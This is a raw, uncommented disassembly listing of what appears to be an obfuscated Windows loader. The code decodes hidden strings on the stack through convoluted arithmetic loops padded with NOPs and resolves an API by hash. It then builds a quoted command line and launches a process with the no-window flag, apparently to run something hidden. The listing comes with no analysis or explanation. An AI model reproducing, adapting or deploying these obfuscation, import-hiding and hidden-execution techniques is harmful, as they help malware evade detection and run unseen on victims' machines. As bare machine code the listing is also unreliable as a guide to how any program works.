mov dword [esp + 0x1bc], 0xed1aef1a
mov dword [esp + 0x1c0], 0xf100f307
mov dword [esp + 0x1c4], 0xf5c5f704
mov dword [esp + 0x1c8], 0xf905fb20
mov dword [esp + 0x1cc], 0xfd15ff08
mov dword [esp + 0x1d0], 0x81a283c2
mov dword [esp + 0x1d4], 0x85768767
mov dword [esp + 0x1d8], 0x89668b74
mov dword [esp + 0x1dc], 0x8d6b8f67
mov dword [esp + 0x1e0], 0x9166936b
mov dword [esp + 0x1e4], 0x9567977f
mov dword [esp + 0x1e8], 0x99ab9b66
mov dword [esp + 0x1ec], 0x9dad9f60
mov dword [esp + 0x1f0], 0xa15ba365
mov dword [esp + 0x1f4], 0xa595a759
mov dword [esp + 0x1f8], 0xa95bab4e
mov dword [esp + 0x1fc], 0xad5daf5e
mov dword [esp + 0x200], 0xb149b39f
mov dword [esp + 0x204], 0xb55ab746
mov dword [esp + 0x208], 0xb948bb5f
mov dword [esp + 0x20c], 0xbd4fbf5d
mov dword [esp + 0x210], 0x41a94358
mov dword [esp + 0x214], 0x455547a4
mov dword [esp + 0x218], 0x494a4b4a
mov byte [esp + 0x21c], 0
xor eax, eax
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0xa7
xor dl, byte [esp + eax + 0x1b8]
add dl, 0xbd
mov byte [esp + eax + 0x1b8], dl
inc eax
cmp eax, 0x65
jne 0x411470
mov dword [esp + 0xb8], 0x2383215f
mov dword [esp + 0xbc], 0x279f2594
mov word [esp + 0xc0], 0x3938
mov dword [esp + 0xc2], 0
mov byte [esp + 0xc6], 0
mov eax, 0xac5de888
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x53a21830]
xor edx, eax
add edx, 0x3a29f6c6
mov esi, edx
and esi, 0x12
xor edx, 0x92
lea edx, [edx + esi*2]
mov byte [esp + eax + 0x53a21830], dl
inc eax
cmp eax, 0xac5de897
jne 0x4114d0
lea eax, [esp + 0xa20]
sub ecx, eax
lea edx, [esp + 0xb4]
lea esi, [esp + 0x1c]
lea edi, [esp + 0x1b8]
lea ebx, [esp + 0xb8]
push edx
push esi
push ecx
push eax
push edi
push ebx
push 0x44f3fc
call int.0040ffc0
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x44a3c0]
xor esi, esi
xor eax, eax
test esi, 0
sete al
jmp dword [eax*4 + 0x44a3c8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp + 0xb4]
mov ebx, dword [esp + 0x1c]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [ebx + ecx - 1]
cmp edx, 0x3d
je 0x41158c
cmp edx, 0x2e
jne 0x41158d
dec eax
movzx ecx, byte [ebx + ecx - 2]
cmp ecx, 0x3d
je 0x41159c
cmp ecx, 0x2e
jne 0x41159d
dec eax
push eax
call fcn.0040cd40
add esp, 4
mov esi, eax
push eax
push ebx
call fcn.0043c700
add esp, 8
push dword [esp + 0x1c]
call fcn.0043e380
add esp, 4
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44a3c8]
jmp dword [0x44a3d0]
push esi
call fcn.00436e60
add esp, 4
lea ecx, [esp + 0x9b8]
call fcn.0040e020
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [esp + 0x20], 0xea1de9ae
mov dword [esp + 0x24], 0xaee8d0
mov eax, 0x1c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 4]
mov edx, ecx
not edx
or edx, eax
mov esi, eax
or esi, ecx
add edx, ecx
mov ecx, 0xfe
sub ecx, edx
and ecx, esi
add cl, 0x74
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x24
jne 0x411610
mov eax, dword [str.7567fff5468f5b682780aea4c2eb6266]
mov dword [esp + 4], eax
mov dword [esp + 0xa0], 0x4101ed2a
mov dword [esp + 0xa4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add al, 0x71
xor al, byte [esp + ecx + 0xa0]
add al, 0xcb
mov byte [esp + ecx + 0xa0], al
inc ecx
cmp ecx, 8
jne 0x411660
mov ecx, dword [str.hRjzG3__KASTA]
mov dword [esp + 0x1b8], 0xfa2edee3
mov dword [esp + 0x1bc], 0xdc2a2421
mov dword [esp + 0x1c0], 0x2427282f
mov dword [esp + 0x1c4], 0xef2d2ed7
mov dword [esp + 0x1c8], 0xea3c303e
mov dword [esp + 0x1cc], 0xf7fefdfc
mov dword [esp + 0x1d0], 0xe2c63c30
mov byte [esp + 0x1d4], 0xa0
mov word [esp + 0x1d5], 0
mov byte [esp + 0x1d7], 0
mov edi, 0x79c72c1f
mov eax, 0x8638d3e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0x8438c44d
mov ebx, edi
xor ebx, 0xdd79ec4d
mov edx, edi
or edx, 0x20860032
and edx, ebx
mov ebx, esi
xor ebx, edx
not edx
and edx, esi
add ebx, esi
sub ebx, edx
xor bl, byte [esp + edi - 0x79c72a67]
xor bl, 0x4d
add bl, 0x65
mov byte [esp + edi - 0x79c72a67], bl
inc edi
dec eax
cmp edi, 0x79c72c3f
jne 0x411700
movzx edx, byte [esp + 0x1b8]
test dl, dl
lea ebx, [esp + 0xb8]
je 0x41177b
lea ebx, [esp + 0xb8]
lea esi, [esp + 0x1b9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x411770
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
mov eax, dword [esp + 4]
je 0x41179b
inc ecx
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x411790
mov byte [ebx], 0
movzx ecx, byte [esp + 0xa0]
test cl, cl
je 0x4117cb
lea edx, [esp + 0xa1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4117c0
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4117eb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4117e0
mov byte [ebx], 0
movzx eax, byte [esp + 0x20]
test al, al
je 0x41180b
lea ecx, [esp + 0x21]
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x411800
mov byte [ebx], 0
movzx eax, byte [0x44f39c]
test al, al
je 0x411831
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [ebx + ecx], al
movzx eax, byte [ecx + 0x44f39d]
inc ecx
test al, al
jne 0x411820
add ebx, ecx
mov byte [ebx], 0
mov dword [esp + 0x1b8], 0xe31de123
mov dword [esp + 0x1bc], 0xe712e51a
mov dword [esp + 0x1c0], 0xfb04f91d
mov dword [esp + 0x1c4], 0xffc3fd08
mov dword [esp + 0x1c8], 0xf37bf124
mov dword [esp + 0x1cc], 0xf713f504
mov dword [esp + 0x1d0], 0x8baa8942
mov dword [esp + 0x1d4], 0x8f7e8d6d
mov dword [esp + 0x1d8], 0x837e8170
mov dword [esp + 0x1dc], 0x8765857d
mov dword [esp + 0x1e0], 0x9b6e9979
mov dword [esp + 0x1e4], 0x9f619d65
mov dword [esp + 0x1e8], 0x93ad916e
mov dword [esp + 0x1ec], 0x97ab951c
mov dword [esp + 0x1f0], 0xab5da95f
mov dword [esp + 0x1f4], 0xaf93ad5b
mov dword [esp + 0x1f8], 0xa35da146
mov dword [esp + 0x1fc], 0xa75ba556
mov dword [esp + 0x200], 0xbb4fb985
mov dword [esp + 0x204], 0xbf42bd4e
mov dword [esp + 0x208], 0xb34cb155
mov dword [esp + 0x20c], 0xb749b557
mov dword [esp + 0x210], 0x4baf49ac
mov dword [esp + 0x214], 0x4f534da8
mov dword [esp + 0x218], 0x4342415a
mov dword [esp + 0x21c], 0
mov eax, 0x28
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x190]
mov edx, eax
and edx, ecx
or ecx, eax
xor ecx, edx
add cl, 0x38
mov byte [esp + eax + 0x190], cl
inc eax
cmp eax, 0x90
jne 0x411960
mov dword [esp + 0x20], 0x17f719cb
mov dword [esp + 0x24], 0x138b1584
mov word [esp + 0x28], 0x1110
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x20]
mov esi, eax
and esi, 4
mov edx, eax
and edx, 2
mov edi, edx
xor edi, 2
imul edi, esi
or esi, 2
imul esi, edx
mov edx, eax
xor edx, 0x2b7ddcc6
add edx, edi
add edx, esi
mov esi, edx
and esi, ecx
add edx, ecx
add esi, esi
sub edx, esi
add dl, 0x22
mov byte [esp + eax + 0x20], dl
inc eax
cmp eax, 0xf
jne case.default.0x411a22
lea eax, [esp + 0xb8]
sub ebx, eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x14]
lea esi, [esp + 0x20]
push ecx
push edx
push ebx
push eax
lea edi, [esp + 0x1c8]
push edi
push esi
push 0x44f3fc
call int.0040ffc0
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x44a400]
xor eax, eax
cmp dword [esp], 0
setg al
jmp dword [eax*4 + 0x44a420]
xor eax, eax
cmp dword [esp + 0x10], 0
setg al
jmp dword [eax*4 + 0x44a428]
jmp dword [0x44a40c]
mov ecx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [edi + ecx - 1]
cmp edx, 0x3d
je 0x411a6d
cmp edx, 0x2e
jne 0x411a6e
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x411a7d
cmp ecx, 0x2e
jne 0x411a7e
dec eax
push eax
call fcn.0040cd40
add esp, 4
mov esi, eax
push eax
push edi
call fcn.0043c700
add esp, 8
push dword [esp + 0x14]
call fcn.0043e380
add esp, 4
push esi
call fcn.00403e00
add esp, 4
lea edi, [esp + 0x1b8]
jmp case.0x411a22.2
dec eax
push eax
call fcn.0040cd40
add esp, 4
mov ebx, eax
push eax
push esi
call fcn.0043c700
add esp, 8
push dword [esp + 0x14]
call fcn.0043e380
add esp, 4
push ebx
call fcn.00403e00
add esp, 4
jmp dword [0x44a410]
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [esi + ecx - 1]
cmp edx, 0x3d
je 0x411b0e
cmp edx, 0x2e
jne 0x411b0f
dec eax
movzx ecx, byte [esi + ecx - 2]
cmp ecx, 0x3d
je 0x411ac0
cmp ecx, 0x2e
je 0x411ac0
jmp 0x411ac1
mov esi, eax
jmp dword [0x44a418]
push ebx
call fcn.0040cd50
add esp, 4
push esi
call fcn.00418720
add esp, 4
push esi
call fcn.00404e90
add esp, 4
xor eax, eax
cmp dword [esp], 0
setg al
jmp dword [eax*4 + 0x44a420]
lea ecx, [esp + 0x1b8]
push 1
call fcn.0040d7f0
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + 0x44f705], 0
lea eax, [eax + 1]
jne 0x411b70
mov dword [esp + 0x20], 0x8ef0fcdc
mov dword [esp + 0x24], 0x8782cbf3
mov dword [esp + 0x28], 0x1984
mov ecx, 0x8ad263c4
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x752d9c5c]
xor edx, ecx
mov esi, 0x4b
sub esi, edx
add edx, 0x34
and esi, 0x88
and edx, 0x77
sub edx, esi
mov byte [esp + ecx + 0x752d9c5c], dl
inc ecx
cmp ecx, 0x8ad263d0
jne 0x411ba0
lea ecx, [esp + 0x1b8]
push eax
push 0x44f704
lea eax, [esp + 0x28]
push eax
call fcn.0040da00
lea ecx, [esp + 0x1b8]
call fcn.0040e020
lea ecx, [esp + 0x1b8]
call fcn.0040d830
xor eax, eax
cmp dword [esp + 0x10], 0
setg al
jmp dword [eax*4 + 0x44a428]
push 0
call fcn.00443df0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a430]
mov dword [esp + 0x20], 0x81318729
mov dword [esp + 0x24], 0x8d74832c
mov dword [esp + 0x28], 0x89368f23
mov dword [esp + 0x2c], 0x956a8b27
mov dword [esp + 0x30], 0x912b9776
mov dword [esp + 0x34], 0x9d31932c
mov dword [esp + 0x38], 0x99229f2e
mov dword [esp + 0x3c], 0x656b9b78
mov dword [esp + 0x40], 0x61cd67d3
mov dword [esp + 0x44], 0x6d8263d6
mov dword [esp + 0x48], 0x69d96fc1
mov dword [esp + 0x4c], 0x759c6bc4
mov dword [esp + 0x50], 0x71ce77db
mov dword [esp + 0x54], 0x7d9273df
mov dword [esp + 0x58], 0x798f7f9e
mov dword [esp + 0x5c], 0x459a7bd5
mov dword [esp + 0x60], 0x41ed47f8
mov dword [esp + 0x64], 0x4ded43f7
mov dword [esp + 0x68], 0x49f14ffd
mov dword [esp + 0x6c], 0x55aa4bf4
mov dword [esp + 0x70], 0x51ea57a5
mov dword [esp + 0x74], 0x5daf53b0
mov dword [esp + 0x78], 0x59af5fbc
mov dword [esp + 0x7c], 0x25eb5bee
mov dword [esp + 0x80], 0x21942786
mov dword [esp + 0x84], 0x2d81238f
mov dword [esp + 0x88], 0x29ce2f99
mov dword [esp + 0x8c], 0x35ca2bc6
mov dword [esp + 0x90], 0x31993798
mov dword [esp + 0x94], 0x3dd23384
mov dword [esp + 0x98], 0x393e3fde
mov dword [esp + 0x9c], 0
mov ecx, 0xd7aa2161
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x2855debf]
mov esi, ecx
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0x1a
mov byte [esp + ecx + 0x2855debf], dl
inc ecx
cmp ecx, 0xd7aa21e1
jne 0x411d50
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x411db1
lea edi, [esp + 0x1b8]
lea edx, [esp + 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x411da0
mov word [edi], 0
movzx ecx, word [eax]
test cx, cx
je 0x411de1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x411dd0
mov dword [edi], 0x220022
mov dword [edi + 4], 0x22
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
push 0x38c42730
push dword [0x450704]
call fcn.00443ee0
add esp, 8
lea ecx, [esp + 0xa0]
lea edx, [esp + 0x1b8]
push ecx
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edx
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a438]
mov eax, dword [esp + 0xa4]
mov dword [esp + 8], 0xd8dbdac5
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
xor ecx, ecx
xor edx, edx
nop
nop
movzx esi, byte [esp + edx + 8]
mov edi, edx
xor edi, 0xb0d4eeb1
mov ebx, ecx
and ebx, 0xc
sub ebx, edi
mov edi, ebx
and edi, esi
add ebx, esi
add edi, edi
sub ebx, edi
add bl, 0x75
mov byte [esp + edx + 8], bl
inc edx
add ecx, 2
cmp edx, 7
jne 0x411ee0
mov ecx, dword [0x450710]
test ecx, ecx
je 0x411f4e
mov edx, dword [esp + 8]
xor esi, esi
mov edi, dword [0x450714]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x411f34
inc esi
cmp ecx, esi
jne 0x411f24
jmp 0x411f4e
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x411f4e
push eax
push 1
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x10
mov eax, dword [esp + 0xa0]
mov dword [esp + 8], 0xd8dbdac5
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
movzx esi, byte [esp + edx + 8]
mov edi, edx
xor edi, 0xb0d4eeb1
mov ebx, ecx
and ebx, 0xc
sub ebx, edi
mov edi, ebx
and edi, esi
add ebx, esi
add edi, edi
sub ebx, edi
add bl, 0x75
mov byte [esp + edx + 8], bl
inc edx
add ecx, 2
cmp edx, 7
jne 0x411f70
mov ecx, dword [0x450710]
test ecx, ecx
je case.0x411a22.9
mov edx, dword [esp + 8]
xor esi, esi
mov edi, dword [0x450714]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x411fc4
inc esi
cmp ecx, esi
jne 0x411fb4
jmp case.0x411a22.9
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x411a22.9
push eax
push 1
push dword [0x450718]
push ecx
call fcn.00441310
add esp, 0x10
lea ecx, [esp + 0x9b8]
call fcn.0040d830
lea ecx, [esp + 0xaa0]
call fcn.0040d830
lea ecx, [esp + 0xb08]
call fcn.0040d830
lea ecx, [esp + 0xb70]
call fcn.0040d830
lea ecx, [esp + 0xbd8]
call fcn.0040d830
lea ecx, [esp + 0xc40]
call fcn.0040d830
mov al, 1
jmp 0x411558
mov word [esp + 0x1b8], 0x5fa3
mov byte [esp + 0x1ba], 0xfa
mov word [esp + 0x1bb], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
dec cl
xor cl, byte [esp + eax + 0x1b8]
add cl, 5
mov byte [esp + eax + 0x1b8], cl
inc eax
cmp eax, 5
jne 0x412050
push edi
push ebx
call fcn.00404a30
add esp, 8
mov dword [esp + 0x10], eax
mov dword [esp + 0x1b8], 0xfa6091
mov eax, 0x7f
mov ecx, 0x80
nop
nop
movzx edx, byte [esp + eax + 0x139]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
add dl, 0x85
mov byte [esp + eax + 0x139], dl
inc eax
dec ecx
cmp eax, 0x83
jne 0x412090
push edi
mov dword [esp + 0xb4], ebx
push ebx
call fcn.00404a30
add esp, 8
mov dword [esp], eax
mov dword [esp + 0x1b8], 0x9ff5fffc
mov word [esp + 0x1bc], 0
mov byte [esp + 0x1be], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x1b8]
mov edi, eax
and edi, 4
mov edx, ecx
xor edx, 0xea0a189a
add edx, edi
lea ebx, [esi + esi]
not ebx
add ebx, esi
xor ebx, esi
and ebx, edx
xor ebx, esi
mov edx, ebx
not edx
add ebx, 0xfd
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + ecx + 0x1b8], bl
inc ecx
add eax, 2
cmp ecx, 7
jne case.default.0x41224e
xor eax, eax
cmp dword [esp], 0
setg al
mov edi, eax
lea eax, [esp + 0x1b8]
push eax
mov esi, dword [esp + 0xb4]
push esi
call fcn.00404a30
add esp, 8
mov dword [esp], eax
push esi
call fcn.00412330
add esp, 4
push dword [esp + 4]
call fcn.00404e90
add esp, 4
lea esi, [esp + 0xc40]
mov ecx, esi
push 1
call fcn.0040d7f0
push esi
call fcn.00427fe0
add esp, 4
mov ecx, esi
call fcn.0040e020
lea esi, [esp + 0xbd8]
mov ecx, esi
push 3
call fcn.0040d7f0
push esi
call fcn.00428810
add esp, 4
mov ecx, esi
call fcn.0040e020
lea esi, [esp + 0xb70]
mov ecx, esi
push 1
call fcn.0040d7f0
push esi
call fcn.004289f0
add esp, 4
mov ecx, esi
call fcn.0040e020
lea ebx, [esp + 0xb08]
mov ecx, ebx
push 1
call fcn.0040d7f0
push ebx
call fcn.0042a760
add esp, 4
push ebx
call fcn.0042b120
add esp, 4
push ebx
call fcn.0042b4a0
add esp, 4
push ebx
call fcn.0042dd80
add esp, 4
mov ecx, ebx
call fcn.0040e020
lea esi, [esp + 0xaa0]
mov ecx, esi
push 1
call fcn.0040d7f0
push esi
call fcn.0042cde0
add esp, 4
mov ecx, esi
call fcn.0040e020
lea esi, [esp + 0x9b8]
mov ecx, esi
push 1
call fcn.0040d7f0
push esi
call fcn.0042f810
add esp, 4
push esi
call fcn.00436c90
add esp, 4
jmp dword [edi*4 + 0x44a3f8]
call fcn.0043af70
movzx eax, al
jmp dword [eax*4 + 0x44a3f0]
push dword [esp + 4]
call fcn.00404e90
add esp, 4
jmp case.0x41025c.83
push esi
mov esi, eax
call fcn.0040cd50
mov eax, esi
add esp, 4
mov dword [esp + 4], eax
push eax
call fcn.004048e0
add esp, 4
mov ebx, eax
mov dword [esp + 0x1b8], 0x822c36
mov eax, 0x62674ea0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x62674ce8]
xor edx, eax
mov esi, edx
mov ecx, edx
xor ecx, 0x13fb76df
add ecx, edx
and edx, 0x26346df
and esi, 0x60040820
sub ecx, esi
add ecx, edx
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esp + eax - 0x62674ce8], cl
inc eax
cmp eax, 0x62674ea4
jne 0x4122b0
push edi
push ebx
call fcn.00404a30
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x44a3e8]
jmp dword [0x44a3e0]
push esi
call fcn.00403e00
add esp, 4
push esi
call fcn.00403e00
add esp, 4
jmp dword [0x44a3dc]
int3
mov eax, dword [esp + 0x670]
mov ecx, dword [esp + 0x674]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
test eax, eax
setne al
mov edx, dword [esp + 0x828]
mov edi, dword [esp + 0x82c]
mov edx, dword [edi + edx*4]
mov ebx, dword [esp + 0x34]
jmp edx
mov al, byte [esp + 0x13c]
mov byte [esp + 0x1fc], al
mov byte [esp + 0x274], 0x3a
mov byte [esp + 0x275], 9
mov byte [esp + 0x276], 0xfe
mov byte [esp + 0x277], 0xf
mov byte [esp + 0x278], 0xfb
mov byte [esp + 0x279], 0xd
mov byte [esp + 0x27a], 0x33
mov byte [esp + 0x27b], 3
mov byte [esp + 0x27c], 0
mov byte [esp + 0x27d], 1
mov eax, 0xa
mov byte [esp + eax + 0x274], 0
add eax, 1
cmp eax, 0x10
jne 0x419336
xor edi, edi
cmp edi, 0x10
jae 0x4193f3
movzx edx, byte [esp + edi + 0x274]
mov dword [esp + 0x2b0], edi
mov edi, dword [esp + 0x2b0]
add edi, 0xb9dd6dc6
mov eax, edi
shl eax, 1
and eax, 0x394d8684
xor edi, 0x1ca6c342
add edi, eax
mov eax, edx
and eax, 0x67
mov dword [esp + 0x2ac], eax
mov eax, edx
xor eax, 0x265eb567
or edx, 0x98
and edx, eax
mov ebx, edi
shl ebx, 1
add ebx, 0x74
sub ebx, edi
add ebx, 0x46
and ebx, 0x67
mov eax, 0xc5
sub eax, edi
mov ecx, 0xc5
sub ecx, edi
mov edi, dword [esp + 0x2b0]
and eax, ecx
and eax, 0x98
mov ecx, edx
and ecx, 0x67
xor dword [esp + 0x2ac], edx
mov edx, dword [esp + 0x2ac]
xor edx, 0x67
or ecx, edx
or ebx, eax
xor ecx, ebx
mov al, 0xb5
sub al, cl
mov byte [esp + edi + 0x274], al
add edi, 1
jmp 0x419348
lea eax, [esp + 0x274]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.0041d200
mov eax, dword [esp + 0x6b8]
mov ecx, dword [esp + 0x6bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, edi
add eax, 2
mov word [edi], 0x2c
mov ecx, dword [esp + 0x124]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x304]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 0
call case.0x40e7f4.14
mov eax, dword [esp + 0x5d8]
mov ecx, dword [esp + 0x5dc]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
cmp eax, 6
jae 0x4194aa
movzx ecx, byte [esp + eax + 0x15c]
mov edx, eax
add edx, 0x699b0c56
xor edx, ecx
mov ecx, edx
and ecx, 0x51
and edx, 0xae
xor edx, 0xaf
sub ecx, edx
add cl, 1
mov byte [esp + eax + 0x15c], cl
add eax, 1
jmp 0x419471
mov dword [esp + 0x7d8], 1
mov eax, dword [esp + 0x7dc]
mov ecx, dword [esp + 0x7d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov byte [esp + 0xc2], dl
movzx eax, dl
and eax, 1
mov dword [esp + 0x610], eax
mov eax, dword [esp + 0x614]
mov ecx, dword [esp + 0x610]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
add edi, 9
add edi, dword [esp + 0x120]
mov dword [esp + 0x304], eax
add edi, eax
sub edi, 0xffffffff
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4195ac
mov ecx, eax
mov dword [esp], ecx
call fcn.0040cd40
mov dword [esp + 0x38], eax
mov al, byte [esp + 0x130]
mov byte [esp + 0x208], al
mov byte [esp + 0x254], 0xf6
mov byte [esp + 0x255], 0x49
mov byte [esp + 0x256], 0xeb
mov byte [esp + 0x257], 0x57
mov byte [esp + 0x258], 0xe6
mov byte [esp + 0x259], 0x55
mov byte [esp + 0x25a], 0xfe
mov byte [esp + 0x25b], 0x53
mov byte [esp + 0x25c], 0xe4
mov byte [esp + 0x25d], 0x51
mov byte [esp + 0x25e], 0xea
mov byte [esp + 0x25f], 0x5f
mov byte [esp + 0x260], 0x23
mov byte [esp + 0x261], 0x5d
mov byte [esp + 0x262], 0x24
mov byte [esp + 0x263], 0x5b
mov byte [esp + 0x264], 0x58
mov byte [esp + 0x265], 0x59
mov eax, 0x12
mov byte [esp + eax + 0x254], 0
add eax, 1
cmp eax, 0x16
jne 0x41965b
xor eax, eax
cmp eax, 0x16
jae 0x4196a0
movzx edi, byte [esp + eax + 0x254]
mov ecx, 0x91
sub ecx, eax
or ecx, edi
mov edx, 0x91
sub edx, eax
and edx, edi
xor ecx, 0xffffffff
or edx, ecx
add dl, 0xda
mov byte [esp + eax + 0x254], dl
add eax, 1
jmp 0x41966d
lea eax, [esp + 0x254]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.0040f810
mov word [eax], 0x20
mov ecx, eax
add ecx, 4
mov word [eax + 2], 0x22
mov dword [esp + 4], esi
mov dword [esp], ecx
call fcn.0040f810
mov edi, eax
add edi, 2
mov word [eax], 0x22
mov dword [esp + 0x600], 0
mov eax, dword [esp + 0x604]
mov ecx, dword [esp + 0x600]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x140]
mov byte [esp + 0x1f8], al
mov byte [esp + 0x284], 0x3e
mov byte [esp + 0x285], 0xb
mov byte [esp + 0x286], 0xf6
mov byte [esp + 0x287], 9
mov byte [esp + 0x288], 0xfc
mov byte [esp + 0x289], 7
mov byte [esp + 0x28a], 0xf2
mov byte [esp + 0x28b], 5
mov byte [esp + 0x28c], 4
mov byte [esp + 0x28d], 3
mov eax, 0xa
mov byte [esp + eax + 0x284], 0
add eax, 1
cmp eax, 0x10
jne 0x41978b
xor eax, eax
mov esi, dword [esp + 0x2c]
cmp eax, 0x10
jae 0x4197e6
movzx edx, byte [esp + eax + 0x284]
mov ecx, eax
add ecx, 0x202771c3
mov edi, ecx
and edi, edx
shl edi, 1
add ecx, edx
sub ecx, edi
add ecx, 0x5f3ac730
mov edi, ecx
xor edi, 0xfe
mov edx, ecx
or edx, 1
and edx, edi
or ecx, 1
add edx, ecx
mov byte [esp + eax + 0x284], dl
add eax, 1
jmp 0x4197a1
lea eax, [esp + 0x284]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.0041d200
mov eax, dword [esp + 0x6d8]
mov ecx, dword [esp + 0x6dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x868]
mov ecx, dword [esp + 0x86c]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
xor eax, eax
mov ecx, esi
sub ecx, 2
sete cl
mov edx, dword [esp + 0x5c8]
mov edi, dword [esp + 0x5cc]
mov edx, dword [edi + edx*4]
jmp edx
mov al, byte [esp + 0x168]
mov byte [esp + 0x1d8], al
mov byte [esp + 0x10c], 0x15
mov byte [esp + 0x10d], 0x99
mov eax, 2
mov byte [esp + eax + 0x10c], 0
add eax, 1
cmp eax, 4
jne 0x419c14
xor eax, eax
cmp eax, 4
jae 0x419c91
movzx ecx, byte [esp + eax + 0x10c]
mov edx, eax
add edx, 0xa6
and edx, ecx
mov ebx, edx
and ebx, 0xfd
mov edi, edx
and edi, 2
xor edi, 2
